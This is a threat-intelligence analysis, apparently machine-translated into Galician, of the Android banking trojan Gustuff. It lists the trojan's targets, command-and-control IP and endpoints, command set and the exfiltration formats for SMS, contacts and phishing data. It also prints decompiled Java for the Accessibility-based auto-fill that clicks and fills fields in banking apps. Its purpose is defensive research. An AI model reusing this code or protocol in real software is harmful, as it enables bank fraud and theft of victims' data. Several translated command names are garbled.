Como o troyano Android Gustuff elimina a crema (fiat e cripto) das túas contas

Como o troyano Android Gustuff elimina a crema (fiat e cripto) das túas contas

Xusto o outro día Grupo-IB informou sobre a actividade do móbil Android Trojan Gustuff. Funciona exclusivamente en mercados internacionais, atacando clientes dos 100 maiores bancos estranxeiros, usuarios de carteiras móbiles 32 criptográficas, así como grandes recursos de comercio electrónico. Pero o creador de Gustuff é un ciberdelincuente de fala rusa baixo o alcume de Bestoffer. Ata hai pouco, eloxiou o seu troiano como "un produto serio para persoas con coñecemento e experiencia".

Especialista en análise de código malicioso en Group-IB Iván Pisarev na súa investigación, fala en detalle sobre como funciona Gustuff e cales son os seus perigos.

A quen busca Gustuff?

Gustuff pertence a unha nova xeración de malware con funcións totalmente automatizadas. Segundo o desarrollador, o troiano converteuse nunha nova e mellorada versión do malware AndyBot, que desde novembro de 2017 ataca teléfonos Android e rouba diñeiro a través de formularios web de phishing disfrazados de aplicacións móbiles de coñecidos bancos e sistemas de pago internacionais. Bestoffer informou de que o prezo do aluguer de Gustuff Bot era de 800 dólares ao mes.

A análise da mostra Gustuff mostrou que o troiano está potencialmente dirixido aos clientes que utilizan aplicacións móbiles dos bancos máis grandes, como Bank of America, Bank of Scotland, JPMorgan, Wells Fargo, Capital One, TD Bank, PNC Bank, así como carteiras criptográficas. Bitcoin Wallet, BitPay, Cryptopay, Coinbase, etc.

Creado orixinalmente como un troiano bancario clásico, na versión actual Gustuff ampliou significativamente a lista de posibles obxectivos de ataque. Ademais das aplicacións de Android para bancos, empresas fintech e servizos criptográficos, Gustuff está dirixido a usuarios de aplicacións de mercado, tendas en liña, sistemas de pago e mensaxería instantánea. En particular, PayPal, Western Union, eBay, Walmart, Skype, WhatsApp, Gett Taxi, Revolut e outros.

Punto de entrada: cálculo para a infección masiva

Gustuff caracterízase polo vector "clásico" de penetración nos teléfonos intelixentes Android a través de correos SMS con ligazóns a APK. Cando un dispositivo Android está infectado cun troiano ao mando do servidor, Gustuff pode estenderse aínda máis a través da base de datos de contactos do teléfono infectado ou a través da base de datos do servidor. A funcionalidade de Gustuff está deseñada para a infección masiva e a máxima capitalización do negocio dos seus operadores: ten unha función única de "enchemento automático" en aplicacións lexítimas de banca móbil e carteiras criptográficas, o que che permite acelerar e escalar o roubo de diñeiro.

Un estudo do troiano demostrou que a función de enchemento automático estaba implementada nel mediante o Servizo de Accesibilidade, un servizo para persoas con discapacidade. Gustuff non é o primeiro troiano que evita con éxito a protección contra a interacción con elementos da fiestra doutras aplicacións que utilizan este servizo de Android. Non obstante, o uso do Servizo de Accesibilidade en combinación cun recheo de vehículos aínda é bastante raro.

Tras a descarga no teléfono da vítima, Gustuff, mediante o Servizo de Accesibilidade, é capaz de interactuar con elementos da fiestra doutras aplicacións (banca, criptomoeda, así como aplicacións para compras en liña, mensaxería, etc.), realizando as accións necesarias para os atacantes. . Por exemplo, ao mando do servidor, un troiano pode premer botóns e cambiar os valores dos campos de texto nas aplicacións bancarias. Usar o mecanismo do Servizo de Accesibilidade permítelle ao troiano eludir os mecanismos de seguridade utilizados polos bancos para contrarrestar os troianos móbiles da xeración anterior, así como os cambios na política de seguridade implementados por Google nas novas versións do sistema operativo Android. Así, Gustuff "sabe como" desactivar a protección de Google Protect: segundo o autor, esta función funciona no 70% dos casos.

Como o troyano Android Gustuff elimina a crema (fiat e cripto) das túas contas

Gustuff tamén pode mostrar notificacións PUSH falsas con iconas de aplicacións móbiles lexítimas. O usuario fai clic na notificación PUSH e ve unha xanela de phishing descargada do servidor, onde introduce os datos solicitados da tarxeta bancaria ou da carteira criptográfica. Noutro escenario de Gustuff, ábrese a aplicación en nome da cal se amosou a notificación PUSH. Neste caso, o malware, previa orde do servidor a través do Servizo de Accesibilidade, pode cubrir os campos do formulario dunha aplicación bancaria para unha transacción fraudulenta.

A funcionalidade de Gustuff tamén inclúe o envío de información sobre un dispositivo infectado ao servidor, a capacidade de ler/enviar mensaxes SMS, enviar solicitudes USSD, lanzar SOCKS5 Proxy, seguir unha ligazón, enviar ficheiros (incluíndo escaneos de fotos de documentos, capturas de pantalla, fotografías) ao servidor. servidor , restablece o dispositivo á configuración de fábrica.

Análise de malware

Antes de instalar unha aplicación maliciosa, o sistema operativo Android mostra ao usuario unha xanela que contén unha lista de dereitos solicitados por Gustuff:

Como o troyano Android Gustuff elimina a crema (fiat e cripto) das túas contas
A aplicación instalarase só despois de recibir o consentimento do usuario. Despois de iniciar a aplicación, o troiano mostrará ao usuario unha xanela:

Como o troyano Android Gustuff elimina a crema (fiat e cripto) das túas contas
Despois diso, eliminará a súa icona.

Gustuff é embalado, segundo o autor, por un empacador de FTT. Despois do inicio, a aplicación contacta periodicamente co servidor CnC para recibir ordes. Varios ficheiros que examinamos utilizaron un enderezo IP como servidor de control 88.99.171[.]105 (en diante denotarémolo como <%CnC%>).

Despois do lanzamento, o programa comeza a enviar mensaxes ao servidor http://<%CnC%>/api/v1/get.php.

Espérase que a resposta sexa JSON no seguinte formato:

{
    "results" : "OK",
    "command":{
        "id": "<%id%>",
        "command":"<%command%>",
        "timestamp":"<%Server Timestamp%>",
        "params":{
		<%Command parameters as JSON%>
        },
    },
}

Cada vez que se accede á aplicación, envía información sobre o dispositivo infectado. O formato da mensaxe móstrase a continuación. Paga a pena sinalar que os campos completo, extra, aplicacións и permiso – opcional e só se enviará no caso de solicitar un comando de CnC.

{
    "info":
    {
        "info":
        {
            "cell":<%Sim operator name%>,
            "country":<%Country ISO%>,
            "imei":<%IMEI%>,
            "number":<%Phone number%>,
            "line1Number":<%Phone number%>,
            "advertisementId":<%ID%>
        },
        "state":
        {
            "admin":<%Has admin rights%>,
            "source":<%String%>,
            "needPermissions":<%Application needs permissions%>,
            "accesByName":<%Boolean%>,
            "accesByService":<%Boolean%>,
            "safetyNet":<%String%>,
            "defaultSmsApp":<%Default Sms Application%>,
            "isDefaultSmsApp":<%Current application is Default Sms Application%>,
            "dateTime":<%Current date time%>,
            "batteryLevel":<%Battery level%>
        },
        "socks":
        {
            "id":<%Proxy module ID%>,
            "enabled":<%Is enabled%>,
            "active":<%Is active%>
        },
        "version":
        {
            "versionName":<%Package Version Name%>,
            "versionCode":<%Package Version Code%>,
            "lastUpdateTime":<%Package Last Update Time%>,
            "tag":<%Tag, default value: "TAG"%>,
            "targetSdkVersion":<%Target Sdk Version%>,
            "buildConfigTimestamp":1541309066721
        },
    },
    "full":
    {
        "model":<%Device Model%>,
        "localeCountry":<%Country%>,
        "localeLang":<%Locale language%>,
        "accounts":<%JSON array, contains from "name" and "type" of accounts%>,
        "lockType":<%Type of lockscreen password%>
    },
    "extra":
    {
        "serial":<%Build serial number%>,
        "board":<%Build Board%>,
        "brand":<%Build Brand%>,
        "user":<%Build User%>,
        "device":<%Build Device%>,
        "display":<%Build Display%>,
        "id":<%Build ID%>,
        "manufacturer":<%Build manufacturer%>,
        "model":<%Build model%>,
        "product":<%Build product%>,
        "tags":<%Build tags%>,
        "type":<%Build type%>,
        "imei":<%imei%>,
        "imsi":<%imsi%>,
        "line1number":<%phonenumber%>,
        "iccid":<%Sim serial number%>,
        "mcc":<%Mobile country code of operator%>,
        "mnc":<%Mobile network codeof operator%>,
        "cellid":<%GSM-data%>,
        "lac":<%GSM-data%>,
        "androidid":<%Android Id%>,
        "ssid":<%Wi-Fi SSID%>
    },
    "apps":{<%List of installed applications%>},
    "permission":<%List of granted permissions%>
} 

Almacenamento de datos de configuración

Gustuff almacena información operacionalmente importante nun ficheiro de preferencias. O nome do ficheiro, así como os nomes dos parámetros nel, son o resultado do cálculo da suma MD5 a partir da cadea 15413090667214.6.1<%name%>onde <%name%> - nome-valor inicial. Interpretación de Python da función de xeración de nomes:

 nameGenerator(input):
    output = md5("15413090667214.6.1" + input) 

No que segue denotarémolo como xerador de nomes (entrada).
Polo tanto, o primeiro nome do ficheiro é: nameGenerator("API_SERVER_LIST"), contén valores cos seguintes nomes:

Nome da variable Valor
nameGenerator("API_SERVER_LIST") Contén unha lista de enderezos CnC en forma de matriz.
nameGenerator("API_SERVER_URL") Contén o enderezo CnC.
nameGenerator("SMS_UPLOAD") A bandeira está configurada por defecto. Se a bandeira está definida, envía mensaxes SMS a CnC.
nameGenerator ("SMS_ROOT_NUMBER") Número de teléfono ao que se enviarán as mensaxes SMS recibidas polo dispositivo infectado. O valor predeterminado é nulo.
nameGenerator ("SMS_ROOT_NUMBER_RESEND") A bandeira está borrada por defecto. Se está instalado, cando un dispositivo infectado recibe unha SMS, enviarase ao número raíz.
nameGenerator ("DEFAULT_APP_SMS") A bandeira está borrada por defecto. Se se establece esta marca, a aplicación procesará as mensaxes SMS entrantes.
nameGenerator("DEFAULT_ADMIN") A bandeira está borrada por defecto. Se a marca está definida, a aplicación ten dereitos de administrador.
nameGenerator("DEFAULT_ACCESSIBILITY") A bandeira está borrada por defecto. Se a bandeira está definida, está a executarse un servizo que utiliza o Servizo de Accesibilidade.
nameGenerator ("APPS_CONFIG") Un obxecto JSON que contén unha lista de accións que deben realizarse cando se activa un evento de accesibilidade asociado a unha aplicación específica.
nameGenerator("APPS_INSTALLED") Almacena unha lista de aplicacións instaladas no dispositivo.
nameGenerator ("IS_FIST_RUN") A bandeira restablece no primeiro inicio.
nameGenerator ("ID_ÚNICO") Contén un identificador único. Xérase cando se inicia o bot por primeira vez.

Módulo para procesar comandos desde o servidor

A aplicación almacena os enderezos dos servidores CnC en forma de matriz codificada por Basexnumx liñas. A lista de servidores CnC pódese modificar tras recibir o comando correspondente, caso en que os enderezos almacenaranse nun ficheiro de preferencias.

En resposta á solicitude, o servidor envía un comando á aplicación. Paga a pena notar que os comandos e parámetros preséntanse en formato JSON. A aplicación pode procesar os seguintes comandos:

Equipo Descrición
forwardStart Comeza a enviar mensaxes SMS recibidas polo dispositivo infectado ao servidor CnC.
adianteStop Deixa de enviar mensaxes SMS recibidas polo dispositivo infectado ao servidor CnC.
ussdRun Executar solicitude USSD. O número ao que precisa facer unha solicitude USSD está no campo JSON "número".
enviar SMS Envía unha mensaxe SMS (se é necesario, a mensaxe "divídese" en partes). Como parámetro, o comando toma un obxecto JSON que contén os campos "a" - o número de destino e "body" - o corpo da mensaxe.
enviarSmsAb Envía mensaxes SMS (se é necesario, a mensaxe "divídese" en partes) a todos na lista de contactos do dispositivo infectado. O intervalo entre o envío de mensaxes é de 10 segundos. O corpo da mensaxe está no campo JSON "body"
enviarSmsMass Envía mensaxes SMS (se é necesario, a mensaxe "divídese" en partes) aos contactos especificados nos parámetros do comando. O intervalo entre o envío de mensaxes é de 10 segundos. Como parámetro, o comando toma unha matriz JSON (o campo "sms"), cuxos elementos conteñen os campos "a" - o número de destino e "body" - o corpo da mensaxe.
changeServer Este comando pode tomar un valor coa clave "url" como parámetro; entón o bot cambiará o valor de nameGenerator ("SERVER_URL") ou "array"; entón o bot escribirá a matriz en nameGenerator ("API_SERVER_LIST"). Así, a aplicación cambia o enderezo dos servidores CnC.
número de administrador O comando está deseñado para funcionar cun número raíz. O comando acepta un obxecto JSON cos seguintes parámetros: "número" - cambiar nameGenerator ("ROOT_NUMBER") polo valor recibido, "reenviar" - cambiar nameGenerator ("SMS_ROOT_NUMBER_RESEND"), "sendId" - enviar a nameGenerator ("ROOT_NUMBER" ) ID único.
actualizar información Enviar información sobre o dispositivo infectado ao servidor.
borrar datos O comando está destinado a eliminar os datos do usuario. Dependendo do nome que se iniciou a aplicación, os datos borraranse completamente cun reinicio do dispositivo (usuario principal) ou só se borran os datos do usuario (usuario secundario).
socksStart Inicie o módulo Proxy. O funcionamento do módulo descríbese nunha sección separada.
calcetínsStop Detén o módulo proxy.
openLink Siga a ligazón. A ligazón está situada no parámetro JSON baixo a clave "url". "android.intent.action.VIEW" úsase para abrir a ligazón.
cargarTodos os SMS Envía todas as mensaxes SMS recibidas polo dispositivo ao servidor.
cargar todas as fotos Enviar imaxes desde un dispositivo infectado a un URL. O URL vén como parámetro.
cargar ficheiro Envía un ficheiro a un URL desde un dispositivo infectado. O URL vén como parámetro.
cargar números de teléfono Envía números de teléfono da túa lista de contactos ao servidor. Se se recibe un valor de obxecto JSON coa clave "ab" como parámetro, a aplicación recibe unha lista de contactos da axenda telefónica. Se se recibe un obxecto JSON coa clave "sms" como parámetro, a aplicación le a lista de contactos dos remitentes de mensaxes SMS.
cambiarArquivo A aplicación descarga o ficheiro desde o enderezo que aparece como parámetro mediante a tecla "url". O ficheiro descargado gárdase co nome "archive.zip". Despois, a aplicación descomprimirá o ficheiro, utilizando opcionalmente o contrasinal de arquivo "b5jXh37gxgHBrZhQ4j3D". Os ficheiros descomprimidos gárdanse no directorio [almacenamento externo]/hgps. Neste directorio, a aplicación almacena falsos web (descritos a continuación).
accións O comando está deseñado para funcionar con Action Service, que se describe nunha sección separada.
proba Non facer nada.
descargar O comando está destinado a descargar un ficheiro dun servidor remoto e gardalo no directorio "Descargas". O URL e o nome do ficheiro veñen como parámetros, campos no obxecto do parámetro JSON, respectivamente: "url" e "fileName".
eliminar Elimina un ficheiro do directorio "Descargas". O nome do ficheiro vén nun parámetro JSON coa chave "fileName". O nome de ficheiro estándar é "tmp.apk".
notificación Mostra unha notificación con textos de descrición e título definidos polo servidor de xestión.

Formato de comandos notificación:

{
    "results" : "OK",
    "command":{
    "id": <%id%>,
    "command":"notification",
    "timestamp":<%Server Timestamp%>,
    "params":{
        "openApp":<%Open original app or not%>,
        "array":[
                      {"title":<%Title text%>,
                      "desc":<%Description text%>,
                      "app":<%Application name%>}
                   ]
                   },
        },
}

A notificación xerada polo ficheiro investigado ten un aspecto idéntico ás notificacións xeradas pola aplicación especificada no campo app. Se o valor do campo openApp — É certo, cando se abre unha notificación, lánzase a aplicación especificada no campo app. Se o valor do campo openApp - Falso, entón:

  • Ábrese unha xanela de phishing, cuxo contido se descarga do directorio <%almacenamento externo%>/hgps/<%filename%>
  • Ábrese unha xanela de phishing, cuxo contido se descarga do servidor <%url%>?id=<%Bot id%>&app=<%Nome da aplicación%>
  • Ábrese unha ventá de phishing, disfrazada de Google Play Card, coa oportunidade de introducir os detalles da tarxeta.

A aplicación envía o resultado de calquera comando a <%CnC%>set_state.php como un obxecto JSON no seguinte formato:

{
    "command":
    {
        "command":<%command%>,
        "id":<%command_id%>,
        "state":<%command_state%>
    }
    "id":<%bot_id%>
}

Servizo de accións
A lista de comandos que inclúe a aplicación acción. Cando se recibe un comando, o módulo de procesamento de comandos accede a este servizo para executar o comando estendido. O servizo acepta un obxecto JSON como parámetro. O servizo pode executar os seguintes comandos:

1. PARAMS_ACTION — ao recibir tal comando, o servizo recibe primeiro do parámetro JSON o valor da clave Type, que pode ser o seguinte:

  • información do servizo – o subcomando obtén o valor por clave do parámetro JSON IncluírNonImportante. Se a marca é verdadeira, a aplicación establece a marca FLAG_ISOLATED_PROCESS a un servizo mediante o Servizo de Accesibilidade. Deste xeito, o servizo porase en marcha nun proceso separado.
  • raíz — recibir e enviar ao servidor información sobre a xanela que está actualmente enfocada. A aplicación obtén información mediante a clase AccessibilityNodeInfo.
  • administrador - solicitar dereitos de administrador.
  • demora — suspenda o ActionsService durante o número de milisegundos especificado no parámetro da clave "data".
  • Windows — enviar unha lista de fiestras visibles para o usuario.
  • instalar — Instale a aplicación no dispositivo infectado. O nome do paquete de arquivo está na clave "fileName". O propio arquivo atópase no directorio Descargas.
  • global – o subcomando está destinado a navegar desde a xanela actual:
    • no menú Configuración rápida
    • cara atrás
    • casa
    • ás notificacións
    • á xanela de aplicacións aberta recentemente

  • publicar - iniciar a aplicación. O nome da aplicación vén como parámetro por tecla datos.
  • sons — cambia o modo de son a silencio.
  • desbloquear — acende a retroiluminación da pantalla e do teclado a un brillo total. A aplicación realiza esta acción usando WakeLock, especificando a cadea [Etiqueta da aplicación]:INFO como unha etiqueta
  • superposición de permisos — a función non está implementada (a resposta á execución do comando é {"message":"Non é compatible"} ou {"message":"low sdk"})
  • xesto — a función non está implementada (a resposta á execución do comando é {"message":"Non é compatible"}ou {"message":"API baixa"})
  • permisos — este comando é necesario para solicitar permisos para a aplicación. Non obstante, a función de consulta non está implementada, polo que o comando carece de sentido. A lista de dereitos solicitados vén como unha matriz JSON coa clave "permisos". Lista estándar:
    • android.permission.READ_PHONE_STATE
    • android.permission.READ_CONTACTS
    • android.permission.CALL_PHONE
    • android.permission.RECEIVE_SMS
    • android.permission.SEND_SMS
    • android.permission.READ_SMS
    • android.permission.READ_EXTERNAL_STORAGE
    • android.permission.WRITE_EXTERNAL_STORAGE

  • abrir — mostrar unha xanela de phishing. Dependendo do parámetro procedente do servidor, a aplicación pode mostrar as seguintes ventás de phishing:
    • Mostra unha xanela de phishing cuxos contidos están escritos nun ficheiro nun directorio <%directorio externo%>/hgps/<%param_filename%>. O resultado da interacción do usuario coa xanela enviarase a <%CnC%>/records.php
    • Mostra unha xanela de phishing cuxos contidos estean cargados previamente desde o enderezo <%url_param%>?id=<%bot_id%>&app=<%packagename%>. O resultado da interacción do usuario coa xanela enviarase a <%CnC%>/records.php
    • Mostra unha ventá de phishing disfrazada de tarxeta de Google Play.

  • interactivo — o comando está deseñado para interactuar con elementos da fiestra doutras aplicacións mediante AcessibilityService. Implementouse un servizo especial no programa de interacción. A aplicación en investigación pode interactuar con Windows:
    • Actualmente activo. Neste caso, o parámetro contén a identificación ou o texto (nome) do obxecto co que precisa interactuar.
    • Visible para o usuario no momento en que se executa o comando. A aplicación selecciona Windows por ID.

    Ter recibido obxectos Accesibilidade NodeInfo Para os elementos da fiestra de interese, a aplicación, dependendo dos parámetros, pode realizar as seguintes accións:

    • foco: fixa o foco no obxecto.
    • click: fai clic nun obxecto.
    • actionId: realiza unha acción por ID.
    • setText — cambia o texto dun obxecto. Cambiar o texto é posible de dúas formas: realizar unha acción ACTION_SET_TEXT (se a versión de Android do dispositivo infectado é menor ou igual a PIRULETA), ou colocando unha cadea no portapapeis e pegándoa nun obxecto (para versións anteriores). Este comando pódese usar para cambiar datos nunha aplicación bancaria.

2. PARAMS_ACTIONS - o mesmo que PARAMS_ACTION, só chega unha matriz JSON de comandos.

Parece que moita xente estará interesada en como é a función de interactuar con elementos da xanela doutra aplicación. Así é como se implementa esta funcionalidade en Gustuff:

boolean interactiveAction(List aiList, JSONObject action, JsonObject res) {
    int count = action.optInt("repeat", 1);
    Iterator aiListIterator = ((Iterable)aiList).iterator();
    int count = 0;
    while(aiListIterator.hasNext()) {
        Object ani = aiListIterator.next();
        if(1 <= count) {
            int index;
            for(index = 1; true; ++index) {
                if(action.has("focus")) {
                    if(((AccessibilityNodeInfo)ani).performAction(1)) {
                        ++count;
                    }
                }
                else if(action.has("click")) {
                    if(((AccessibilityNodeInfo)ani).performAction(16)) {
                        ++count;
                    }
                }
                else if(action.has("actionId")) {
                    if(((AccessibilityNodeInfo)ani).performAction(action.optInt("actionId"))) {
                        ++count;
                    }
                }
                else if(action.has("setText")) {
                    customHeader ch = CustomAccessibilityService.a;
                    Context context = this.getApplicationContext();
                    String text = action.optString("setText");
                    if(performSetTextAction(ch, context, ((AccessibilityNodeInfo)ani), text)) {
                        ++count;
                    }
                }
                if(index == count) {
                    break;
                }
            }
        }
        ((AccessibilityNodeInfo)ani).recycle();
    }
    res.addPropertyNumber("res", Integer.valueOf(count));
}

Función de substitución de texto:

boolean performSetTextAction(Context context, AccessibilityNodeInfo ani, String text) {
    boolean result;
    if(Build$VERSION.SDK_INT >= 21) {
        Bundle b = new Bundle();
        b.putCharSequence("ACTION_ARGUMENT_SET_TEXT_CHARSEQUENCE", ((CharSequence)text));
        result = ani.performAction(0x200000, b);  // ACTION_SET_TEXT
    }
    else {
        Object clipboard = context.getSystemService("clipboard");
        if(clipboard != null) {
        ((ClipboardManager)clipboard).setPrimaryClip(ClipData.newPlainText("autofill_pm", ((CharSequence)text)));
        result = ani.performAction(0x8000);  // ACTION_PASTE
        }
        else {
            result = false;
        }
    }
    return result;
}

Así, coa configuración correcta do servidor de control, Gustuff é capaz de cubrir campos de texto na aplicación bancaria e facer clic nos botóns necesarios para completar a transacción. O troiano nin sequera precisa iniciar sesión na aplicación; é suficiente con enviar un comando para mostrar unha notificación PUSH e despois abrir a aplicación bancaria instalada previamente. O usuario autenticarase, despois de que Gustuff poderá encher o coche.

Módulo de procesamento de mensaxes SMS

A aplicación instala un controlador de eventos para que o dispositivo infectado acepte mensaxes SMS. A aplicación en estudo pode recibir comandos do operador, que veñen no corpo da mensaxe SMS. Os comandos veñen no formato:

7!5=<%Comando codificado en Base64%>

A aplicación busca a cadea en todas as mensaxes SMS entrantes 7!5=, cando se detecta unha cadea, descodifica a cadea desde Base64 no desplazamento 4 e executa o comando. Os comandos son similares aos de CnC. O resultado da execución envíase ao mesmo número do que procedeu o comando. Formato de resposta:

7*5=<%Codificación Base64 do “comando de código_resultado”%>

Opcionalmente, a aplicación pode enviar todas as mensaxes recibidas ao número de raíz. Para iso, debe especificarse o número de raíz no ficheiro de preferencias e establecer a bandeira de redirección da mensaxe. Envíase unha mensaxe SMS ao número do atacante co formato:

<%From number%> - <%Time, formato: dd/MM/yyyy HH:mm:ss%> <%SMS body%>

Ademais, opcionalmente, a aplicación pode enviar mensaxes a CnC. A mensaxe SMS envíase ao servidor en formato JSON:

{
    "id":<%BotID%>,
    "sms":
    {
        "text":<%SMS body%>,
        "number":<%From number%>,
        "date":<%Timestamp%>
    }
}

Se a bandeira está posta nameGenerator ("DEFAULT_APP_SMS") – a aplicación deixa de procesar a mensaxe SMS e borra a lista de mensaxes entrantes.

Módulo proxy

A aplicación que se está a estudar contén un módulo Proxy Backconnect (en diante, o módulo Proxy), que ten unha clase separada que inclúe campos estáticos con configuración. Os datos de configuración almacénanse na mostra en forma clara:

Como o troyano Android Gustuff elimina a crema (fiat e cripto) das túas contas

Todas as accións realizadas polo módulo Proxy están rexistradas nos ficheiros. Para iso, a aplicación en Almacenamento externo crea un directorio chamado "logs" (o campo ProxyConfigClass.logsDir da clase de configuración), no que se almacenan ficheiros de rexistro. O rexistro ocorre en ficheiros con nomes:

  1. principal.txt – o traballo da clase chamada CommandServer está rexistrado neste ficheiro. No que segue, rexistrar a cadea str neste ficheiro denotarase como mainLog(str).
  2. sesión-<%id%>.txt — este ficheiro garda os datos de rexistro asociados a unha sesión proxy específica. No que segue, rexistrar a cadea str neste ficheiro denotarase como sessionLog (str).
  3. servidor.txt – este ficheiro úsase para rexistrar todos os datos escritos nos ficheiros descritos anteriormente.

Formato de datos de rexistro:

<%Date%> [Thread[<%thread id%>], id[]]: cadea de rexistro

As excepcións que se producen durante o funcionamento do módulo Proxy tamén se rexistran nun ficheiro. Para iso, a aplicación xera un obxecto JSON co seguinte formato:

{
    "uncaughtException":<%short description of throwable%>
    "thread":<%thread%>
    "message":<%detail message of throwable%>
    "trace":        //Stack trace info
        [
            {
                "ClassName":
                "FileName":
                "LineNumber":
                "MethodName":
            },
            {
                "ClassName":
                "FileName":
                "LineNumber":
                "MethodName":
            }
        ]
}

Despois convérteo nunha representación de cadea e rexistrao.

O módulo Proxy lánzase despois de recibir o comando correspondente. Cando se recibe un comando para iniciar o módulo Proxy, a aplicación inicia un servizo chamado Servizo principal, que se encarga de xestionar o funcionamento do módulo Proxy, iniciando e detendo.

Fases de inicio do servizo:

1. Inicia un temporizador que se executa unha vez por minuto e comproba a actividade do módulo Proxy. Se o módulo non está activo, iníciao.
Tamén cando se desencadea o evento android.net.conn.CONNECTIVITY_CHANGE Iníciase o módulo Proxy.

2. A aplicación crea un wake-lock co parámetro PARTIAL_WAKE_LOCK e captao. Isto evita que a CPU do dispositivo entre en modo de suspensión.

3. Inicia a clase de procesamento de comandos do módulo Proxy, primeiro rexistrando a liña mainLog("iniciar servidor") и

Server::start() host[<%proxy_cnc%>], commandPort[<%command_port%>], proxyPort[<%proxy_port%>]

onde proxy_cnc, comando_port e proxy_port – parámetros obtidos da configuración do servidor proxy.

Chámase a clase de procesamento de comandos CommandConnection. Inmediatamente despois do inicio, realiza as seguintes accións:

4. Conéctase a ProxyConfigClass.host: ProxyConfigClass.commandPort e envía alí datos sobre o dispositivo infectado en formato JSON:

{
    "id":<%id%>,
    "imei":<%imei%>,
    "imsi":<%imsi%>,
    "model":<%model%>,
    "manufacturer":<%manufacturer%>,
    "androidVersion":<%androidVersion%>,
    "country":<%country%>,
    "partnerId":<%partnerId%>,
    "packageName":<%packageName%>,
    "networkType":<%networkType%>,
    "hasGsmSupport":<%hasGsmSupport%>,
    "simReady":<%simReady%>,
    "simCountry":<%simCountry%>,
    "networkOperator":<%networkOperator%>,
    "simOperator":<%simOperator%>,
    "version":<%version%>
}

En que:

  • id - identificador, tenta obter un valor co campo "id" do ficheiro de preferencias compartidas chamado "x". Se non se puido obter este valor, xera un novo. Así, o módulo Proxy ten o seu propio identificador, que se xera de forma similar ao ID de bot.
  • imei — IMEI do dispositivo. Se se produciu un erro durante o proceso de obtención do valor, escribirase unha mensaxe de texto de erro en lugar deste campo.
  • imsi — Identidade de subscritor móbil internacional do dispositivo. Se se produciu un erro durante o proceso de obtención do valor, escribirase unha mensaxe de texto de erro en lugar deste campo.
  • model — O nome visible polo usuario final para o produto final.
  • fabricante — O fabricante do produto/hardware (Build.MANUFACTURER).
  • androidVersion: unha cadea co formato "<%release_version%> (<%os_version%>),<%sdk_version%>"
  • país: localización actual do dispositivo.
  • partnerId é unha cadea baleira.
  • packageName: nome do paquete.
  • networkType — tipo de conexión de rede actual (exemplo: “WIFI”, “MOBILE”). En caso de erro, devolve nulo.
  • hasGsmSupport - verdadeiro - se o teléfono admite GSM, se non é falso.
  • simReady: estado da tarxeta SIM.
  • simCountry: código de país ISO (baseado no provedor da tarxeta SIM).
  • networkOperator — nome do operador. Se se produciu un erro durante o proceso de obtención do valor, escribirase unha mensaxe de texto de erro en lugar deste campo.
  • simOperator — O nome do provedor de servizos (SPN). Se se produciu un erro durante o proceso de obtención do valor, escribirase unha mensaxe de texto de erro en lugar deste campo.
  • versión: este campo almacénase na clase de configuración; para as versións probadas do bot era igual a "1.6".

5. Cambia ao modo de espera de ordes do servidor. Os comandos do servidor teñen o formato:

  • 0 offset - comando
  • 1 compensación - sessionId
  • 2 compensación - lonxitude
  • 4 offset - datos

Cando chega un comando, a aplicación rexistra:
mainLog("Encabezado { sessionId<%id%>], tipo[<%comando%>], lonxitude[<%length%>] }")

Son posibles os seguintes comandos do servidor:

nome Mando Data descrición
ID de conexión 0 ID de conexión Crea unha nova conexión
Durmido 3 Tempo Pausa o módulo proxy
PING PONG 4 - Enviar mensaxe PONG

Unha mensaxe PONG consta de 4 bytes e ten o seguinte aspecto: 0x04000000.

Cando se recibe o comando connectionId (para crear unha nova conexión) CommandConnection crea unha instancia dunha clase Conexión proxy.

  • No proxy participan dúas clases: Conexión proxy и final. Ao crear unha clase Conexión proxy conectándose ao enderezo ProxyConfigClass.host: ProxyConfigClass.proxyPort e pasando o obxecto JSON:

 {
    "id":<%connectionId%>
}

Como resposta, o servidor envía unha mensaxe SOCKS5 que contén o enderezo do servidor remoto co que se debe establecer a conexión. A interacción con este servidor prodúcese a través da clase final. A configuración da conexión pódese representar esquemáticamente do seguinte xeito:

Como o troyano Android Gustuff elimina a crema (fiat e cripto) das túas contas

Interaccións en rede

Para evitar a análise do tráfico por parte dos sniffers da rede, a interacción entre o servidor CnC e a aplicación pódese protexer mediante o protocolo SSL. Todos os datos transmitidos dende e para o servidor preséntanse en formato JSON. A aplicación executa as seguintes solicitudes durante o funcionamento:

  • http://<%CnC%>/api/v1/set_state.php - o resultado da execución do comando.
  • http://<%CnC%>/api/v1/get.php - recibir unha orde.
  • http://<%CnC%>/api/v1/load_sms.php — descargar mensaxes SMS desde un dispositivo infectado.
  • http://<%CnC%>/api/v1/load_ab.php — cargar unha lista de contactos desde un dispositivo infectado.
  • http://<%CnC%>/api/v1/aevents.php – a solicitude realízase ao actualizar os parámetros localizados no ficheiro de preferencias.
  • http://<%CnC%>/api/v1/set_card.php — cargar datos obtidos mediante unha ventá de phishing que se fai pasar por Google Play Market.
  • http://<%CnC%>/api/v1/logs.php - carga de datos de rexistro.
  • http://<%CnC%>/api/v1/records.php – carga de datos obtidos mediante fiestras de phishing.
  • http://<%CnC%>/api/v1/set_error.php – notificación dun erro que se produciu.

Recomendacións

Para protexer os seus clientes da ameaza dos troianos móbiles, as empresas deben utilizar solucións completas que lles permitan supervisar e previr a actividade maliciosa sen instalar software adicional nos dispositivos dos usuarios.

Para iso, hai que reforzar os métodos de sinatura para detectar troianos móbiles con tecnoloxías para analizar o comportamento tanto do cliente como da propia aplicación. A protección tamén debería incluír unha función de identificación do dispositivo mediante tecnoloxía dixital de impresión dixital, que permitirá comprender cando se está a utilizar unha conta desde un dispositivo atípico e xa caeu en mans dun defraudador.

Un punto fundamentalmente importante é a dispoñibilidade de análise entre canles, que permite ás empresas controlar os riscos que xurden non só en Internet, senón tamén na canle móbil, por exemplo, en aplicacións de banca móbil, para transaccións con criptomoedas e calquera outra onde pódense realizar transaccións.transacción financeira.

Normas de seguridade para os usuarios:

  • non instales aplicacións para un dispositivo móbil con sistema operativo Android desde fontes distintas a Google Play, presta especial atención aos dereitos que solicita a aplicación;
  • instalar regularmente actualizacións do sistema operativo Android;
  • preste atención ás extensións dos ficheiros descargados;
  • non visite recursos sospeitosos;
  • Non faga clic nas ligazóns recibidas en mensaxes SMS.

Protagonizada Semyon Rogacheva, especialista junior en investigación de malware no Laboratorio de Informática Forense do Grupo-IB.

Fonte: www.habr.com

Engadir un comentario